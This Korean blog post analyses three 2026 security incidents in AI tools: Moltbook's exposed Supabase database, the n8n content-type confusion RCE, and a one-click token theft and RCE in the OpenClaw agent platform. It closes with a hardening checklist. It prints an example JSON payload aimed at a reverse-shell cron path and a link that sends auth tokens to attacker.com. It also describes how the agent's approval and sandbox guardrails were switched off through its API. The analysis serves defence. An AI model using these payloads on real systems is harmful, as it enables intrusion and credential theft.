AI 도구 보안의 민낯 — Moltbook·n8n·OpenClaw 사고로 본 셀프호스팅의 현실

2026년이 시작되자마자 AI 도구 생태계에 보안 사고가 연쇄적으로 터졌다. 1월에는 워크플로 자동화 플랫폼 n8n에서 CVSS 10.0짜리 원격 코드 실행(RCE) 취약점이 공개되었고, 같은 달 오픈소스 AI 에이전트 플랫폼 OpenClaw에서 1-Click RCE가 발견되었다. 2월에는 AI 소셜 네트워크 Moltbook의 데이터베이스가 통째로 노출되어 150만 개의 API 토큰이 유출되었다. 세 사고 모두 공통점이 있었다 — 기본적인 보안 설정의 부재였다.

이 글에서는 각 사고의 기술적 원인을 파헤치고, 셀프호스팅 AI 도구를 운영할 때 반드시 점검해야 할 보안 체크리스트를 정리한다.

사고 1: Moltbook: “바이브 코딩”의 대가

Moltbook은 AI 에이전트들이 글을 쓰고, 댓글을 달고, 투표하는 소셜 네트워크로, 2026년 2월 초 AI 커뮤니티에서 폭발적인 관심을 받았다. OpenAI 창립 멤버 Andrej Karpathy가 “최근 본 것 중 가장 놀라운 SF적 현상”이라고 평할 정도였다.¹ 그런데 보안 기업 Wiz의 연구진이 이 플랫폼을 일반 사용자처럼 브라우징하다가, 몇 분 만에 전체 데이터베이스에 대한 무제한 접근 권한을 확보했다.²

무엇이 노출되었나

Moltbook의 창업자는 공개적으로 “바이브 코딩”(vibe coding)으로 플랫폼을 만들었다고 밝혔다. 직접 코드를 한 줄도 작성하지 않고 AI에게 기술 아키텍처 비전만 전달했다는 것이다. 문제는 이 과정에서 Supabase(오픈소스 Firebase 대안) 연동의 핵심 보안 설정이 완전히 빠졌다는 점이었다.

Wiz 연구진이 발견한 문제를 순서대로 정리하면 다음과 같다.

1. 클라이언트 사이드 JavaScript에 Supabase API 키가 하드코딩되어 있었다. 프로덕션 번들 파일(_next/static/chunks/18e24eafc444b2b9.js)에서 프로젝트 URL과 API 키가 그대로 노출되었다.
2. Row-Level Security(RLS, 행 수준 보안)가 전혀 적용되지 않았다. Supabase에서 RLS가 활성화되어 있으면 퍼블릭 API 키는 프로젝트 식별자 역할만 하므로 노출되어도 안전하다. 그러나 RLS 없이는 이 키 하나로 전체 데이터베이스에 대한 읽기·쓰기 권한이 열린다.²
3. 인증 없이 REST API 쿼리가 가능했다. RLS가 없었기 때문에 API 키만으로 관리자 수준의 데이터 접근이 가능했다.

노출된 데이터의 규모는 다음과 같았다.

특히 agents 테이블에는 api_key, claim_token, verification_code가 포함되어 있어, 공격자가 단일 API 호출로 플랫폼의 모든 에이전트를 탈취할 수 있는 상태였다. 게다가 쓰기 권한까지 열려 있었으므로 데이터 변조도 가능했다.²

Wiz 측의 즉각적인 제보 후 Moltbook 팀은 수 시간 내에 문제를 수정했다. 그러나 이 사건은 “바이브 코딩”의 근본적 위험을 적나라하게 보여주었다 — AI가 생성한 코드를 검증 없이 프로덕션에 배포하면 기초적인 보안 설정조차 빠질 수 있다는 것이다.

사고 2: n8n: CVSS 10.0, 인증 없는 원격 코드 실행

n8n은 AI 시대의 워크플로 자동화 플랫폼으로, Docker 풀 수 1억 회 이상, 수백만 사용자를 보유한 대표적인 셀프호스팅 도구다. 2026년 1월, 보안 기업 Cyera Research Labs가 이 플랫폼에서 CVSS 10.0 만점의 치명적 취약점을 발견했다.³

Content-Type Confusion 공격

CVE-2026-21858로 등록된 이 취약점의 핵심은 Content-Type 혼동(Content-Type Confusion)이었다. n8n의 Webhook 처리 흐름을 이해하면 공격 메커니즘이 명확해진다.³

n8n에서 모든 Webhook 요청은 parseRequestBody()라는 미들웨어를 거친다. 이 미들웨어는 HTTP 요청의 Content-Type 헤더를 확인하여 두 가지 경로로 분기한다.

• multipart/form-data → 파일 업로드 파서(Formidable 라이브러리 사용) → req.body.files에 결과 저장
• 그 외 Content-Type → 일반 바디 파서 → req.body에 결과 저장

여기서 문제가 발생했다. n8n의 Form 노드(사용자 입력을 받는 외부 인터페이스)에서 파일을 처리하는 함수가 Content-Type이 multipart/form-data인지 검증하지 않고 바로 req.body.files에서 파일 데이터를 읽었다.⁴

공격자가 Content-Type을 application/json으로 변경하면, 미들웨어는 일반 바디 파서를 호출한다. 일반 바디 파서는 JSON 본문을 그대로 req.body에 저장하므로, 공격자가 JSON 본문에 files 필드를 포함시키면 req.body.files를 임의로 덮어쓸 수 있었다. Formidable이 제공하는 임시 경로 보호(path traversal 방지)를 완전히 우회하는 셈이었다.

// 공격 페이로드 예시: Content-Type을 application/json으로 설정
{
  "files": {
    "file": [{
      "filepath": "/etc/cron.d/reverse_shell",
      "mimetype": "text/plain",
      "originalFilename": "payload.txt"
    }]
  }
}

이 취약점은 인증이 전혀 필요 없었다. Webhook은 외부 이벤트를 수신하기 위해 설계된 엔드포인트이므로, 공격자는 인터넷에 노출된 n8n 인스턴스의 Form Webhook URL만 알면 원격에서 코드를 실행할 수 있었다.

Cyera는 n8n 보안팀의 빠른 대응을 높이 평가했지만, 취약점 자체의 심각성은 부정할 수 없었다. 워크플로 자동화 플랫폼이 기업의 핵심 인프라와 연결되어 있다는 점을 고려하면, 이 한 건의 RCE로 전체 내부 시스템이 침해될 수 있었다.³

사고 3: OpenClaw: 1-Click RCE, WebSocket 공격 벡터

OpenClaw(이전 이름 Clawdbot/Moltbot)은 사용자 로컬 머신에서 실행되는 오픈소스 AI 에이전트 플랫폼으로, GitHub 스타 149,000개 이상을 기록한 인기 프로젝트다. 2026년 1월 말, 보안 연구원 Mav Levin(depthfirst)이 단 한 번의 클릭으로 전체 시스템을 장악할 수 있는 취약점을 발견했다.⁵

토큰 탈취에서 RCE까지

CVE-2026-25253(CVSS 8.8)의 공격 체인은 다음과 같이 진행되었다.⁶

1단계: 토큰 탈취. OpenClaw의 Control UI(브라우저 기반)는 URL 쿼리 파라미터에서 gatewayUrl을 읽어 자동으로 WebSocket 연결을 시작했다. 이때 저장된 인증 토큰을 연결 페이로드에 포함시켜 전송했는데, gatewayUrl에 대한 검증이 전혀 없었다.⁵

공격자는 다음과 같은 악성 링크를 피해자에게 보내기만 하면 되었다.

https://victim-openclaw-ui/?gatewayUrl=wss://attacker.com/exfil

피해자가 이 링크를 클릭하면 UI가 공격자의 WebSocket 서버에 자동 연결되면서 인증 토큰이 밀리초 단위로 탈취되었다.

2단계: Cross-Site WebSocket Hijacking(CSWSH). OpenClaw의 WebSocket 서버는 Origin 헤더를 검증하지 않았다. 따라서 공격자의 웹페이지에서 실행되는 JavaScript가 피해자의 로컬 인스턴스(ws://localhost:18789)에 직접 연결할 수 있었다. 피해자의 브라우저가 네트워크 브리지 역할을 하므로, 방화벽이나 NAT 뒤에 있어도 공격이 성립했다.⁶

3단계: 샌드박스 해제 및 RCE. 탈취한 토큰의 operator.admin 권한을 이용하여 공격자는 다음을 수행했다.

• exec.approvals.set을 off로 변경 → 사용자 확인 절차 비활성화
• tools.exec.host를 gateway로 변경 → Docker 컨테이너 탈출, 호스트 머신에서 직접 명령 실행
• node.invoke API 호출 → 임의 코드 실행

연구원 Levin은 이 취약점의 본질적 문제를 이렇게 지적했다 — 샌드박스와 안전 가드레일은 LLM의 프롬프트 인젝션 같은 악의적 행동을 억제하기 위해 설계되었지, 외부 공격자가 API를 통해 이 보호 장치 자체를 해제하는 시나리오는 고려하지 않았다는 것이다.⁵

공통 원인 분석

세 사고를 나란히 놓고 보면 반복되는 보안 실패 패턴이 뚜렷하게 드러난다.

공통 원인을 한마디로 요약하면 “기본값에 대한 맹신” 이었다. Supabase의 기본값은 RLS가 꺼져 있고, WebSocket 서버의 기본값은 Origin을 검증하지 않으며, 미들웨어의 기본값은 Content-Type을 신뢰한다. 프레임워크가 제공하는 편의성을 보안과 혼동한 결과였다.

셀프호스팅 AI 도구 보안 체크리스트

위 사고들의 교훈을 바탕으로, 셀프호스팅 AI 도구 운영 시 반드시 점검해야 할 항목을 정리했다.

1. 인증과 접근 제어

• 모든 외부 노출 엔드포인트에 인증을 적용한다. Webhook이라도 최소한 토큰 기반 인증 또는 IP 화이트리스트를 설정한다.
• 데이터베이스 레벨에서 RLS를 활성화한다. Supabase를 사용한다면 테이블 생성 즉시 RLS를 켠다.

2. 비밀 관리

• API 키, 토큰, 데이터베이스 자격증명을 절대 클라이언트 사이드 코드에 하드코딩하지 않는다.
• 환경 변수 또는 시크릿 매니저(Vault, AWS Secrets Manager 등)를 사용한다.

3. 네트워크 격리

• AI 도구는 리버스 프록시(Nginx, Caddy) 뒤에 배치하고, 직접 인터넷에 노출하지 않는다.

# Nginx 리버스 프록시 + 인증 설정 예시
server {
    listen 443 ssl;
    server_name ai-tool.example.com;

    # 기본 인증 추가
    auth_basic "Restricted";
    auth_basic_user_file /etc/nginx/.htpasswd;

    # WebSocket Origin 검증
    location /ws {
        proxy_pass http://127.0.0.1:18789;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";

        # Origin 화이트리스트
        if ($http_origin !~* "^https://ai-tool\.example\.com$") {
            return 403;
        }
    }

    # 일반 HTTP
    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

4. WebSocket 보안

• WebSocket 서버에서 Origin 헤더를 반드시 검증한다. 허용된 도메인 외의 연결은 거부한다.
• WebSocket 연결 시 토큰을 URL 파라미터가 아닌 별도의 인증 핸드셰이크로 전달한다.

5. 컨테이너 격리

• AI 도구를 Docker 컨테이너 내에서 실행하되, 컨테이너 탈출 경로를 차단한다.

# docker-compose.yml 보안 강화 예시
services:
  ai-tool:
    image: your-ai-tool:latest
    security_opt:
      - no-new-privileges:true
    read_only: true
    tmpfs:
      - /tmp
    cap_drop:
      - ALL
    networks:
      - isolated
    deploy:
      resources:
        limits:
          memory: 2G
          cpus: '1.0'

networks:
  isolated:
    internal: true  # 외부 네트워크 접근 차단

6. 최소 권한 원칙

• 데이터베이스 사용자에게 필요한 최소 권한만 부여한다. 퍼블릭 키에 쓰기 권한을 주지 않는다.
• API 토큰의 스코프를 세분화하고, 관리자 권한 토큰은 별도로 관리한다.

7. 자동 업데이트 및 패치 관리

• 셀프호스팅 도구의 보안 공지(GitHub Security Advisories, CVE 피드)를 구독한다.
• Watchtower 같은 도구로 컨테이너 이미지 자동 업데이트를 설정한다.

8. 입력 검증

• 모든 사용자 입력(쿼리 파라미터, HTTP 헤더, WebSocket 메시지)을 서버 측에서 검증한다.
• Content-Type과 실제 본문 내용의 일치 여부를 확인한다.

9. 로깅과 모니터링

• 비정상적인 API 호출 패턴(대량 데이터 조회, 반복적인 인증 실패)을 탐지하는 알림을 설정한다.
• 접근 로그를 최소 90일 보관한다.

10. 정기 보안 점검

• 분기별로 외부 노출 포트를 스캔하고(nmap, Shodan), 의도치 않게 열린 서비스가 없는지 확인한다.
• 클라이언트 사이드 빌드 결과물에서 하드코딩된 시크릿이 없는지 trufflehog이나 gitleaks로 검사한다.

11. 바이브 코딩 결과물 검증

• AI가 생성한 코드를 프로덕션에 배포하기 전에 반드시 보안 리뷰를 수행한다. 특히 인증 로직, DB 설정, API 키 처리 부분을 중점적으로 확인한다.

클라우드 vs 셀프호스팅 보안 트레이드오프

셀프호스팅은 “내 인프라, 내 키, 내 데이터”라는 매력적인 약속을 내건다. OpenClaw의 소개 페이지도 “SaaS 어시스턴트와 달리 당신의 데이터가 남의 서버에 존재하지 않는다”고 강조한다.⁵ 이 약속은 사실이다 — 하지만 그 대가로 보안의 책임도 전적으로 사용자에게 돌아온다.

클라우드 서비스 제공자는 전담 보안팀이 패치를 배포하고, WAF(웹 애플리케이션 방화벽)를 운영하며, 이상 트래픽을 모니터링한다. 셀프호스팅 환경에서는 이 모든 것을 운영자가 직접 해야 한다. n8n의 CVE-2026-21858가 공개된 후에도 패치를 적용하지 않은 인스턴스가 수만 대에 달했다는 사실이 이를 방증한다.³

그렇다고 클라우드가 만능은 아니다. Moltbook은 클라우드 서비스인 Supabase를 사용했지만 설정 실수로 데이터가 유출되었다. 결국 어떤 배포 방식을 선택하든 보안의 기본 원칙 — 최소 권한, 입력 검증, 비밀 관리, 정기 업데이트 — 은 동일하게 적용된다.

핵심적인 차이는 실패의 기본값(default of failure)에 있다. 클라우드 서비스는 대체로 “보안이 켜진 상태”에서 시작하고, 사용자가 의도적으로 풀어야 위험해진다. 셀프호스팅은 반대로 “보안이 꺼진 상태”에서 시작하는 경우가 많고, 사용자가 의도적으로 켜야 안전해진다. 이번 세 사고는 모두 후자의 함정에 빠진 사례였다.

개인적인 생각

이번 세 건의 사고를 조사하면서 가장 인상 깊었던 것은 취약점의 복잡성이 아니라 단순성이었다. RLS를 켜지 않은 것, Content-Type을 검증하지 않은 것, URL 파라미터를 신뢰한 것 — 모두 보안 교과서 1장에 나오는 수준의 실수였다.

“바이브 코딩” 트렌드가 이 문제를 악화시키고 있다. 연구에 따르면 AI가 생성한 코드의 3분의 1이 취약점을 포함하고 있으며, 학술 연구에서는 그 비율이 60%를 넘기도 한다.⁷ AI 코딩 도구가 생산성을 비약적으로 높여주는 것은 사실이지만, 보안 검증 없이 결과물을 그대로 배포하는 것은 문을 열어놓고 도둑이 안 올 거라고 기대하는 것과 다름없다.

셀프호스팅의 자유에는 책임이 따른다. “내 서버에서 돌리니까 안전하다”는 착각을 버려야 한다. 로컬호스트에 바인딩해도 브라우저가 브리지가 되고(OpenClaw), 인증 없는 Webhook이 공격 표면이 되며(n8n), 기본 설정의 편의성이 곧 취약점이 된다(Moltbook). 편리함과 보안 사이의 균형을 잡는 것은 결국 운영자의 몫이다.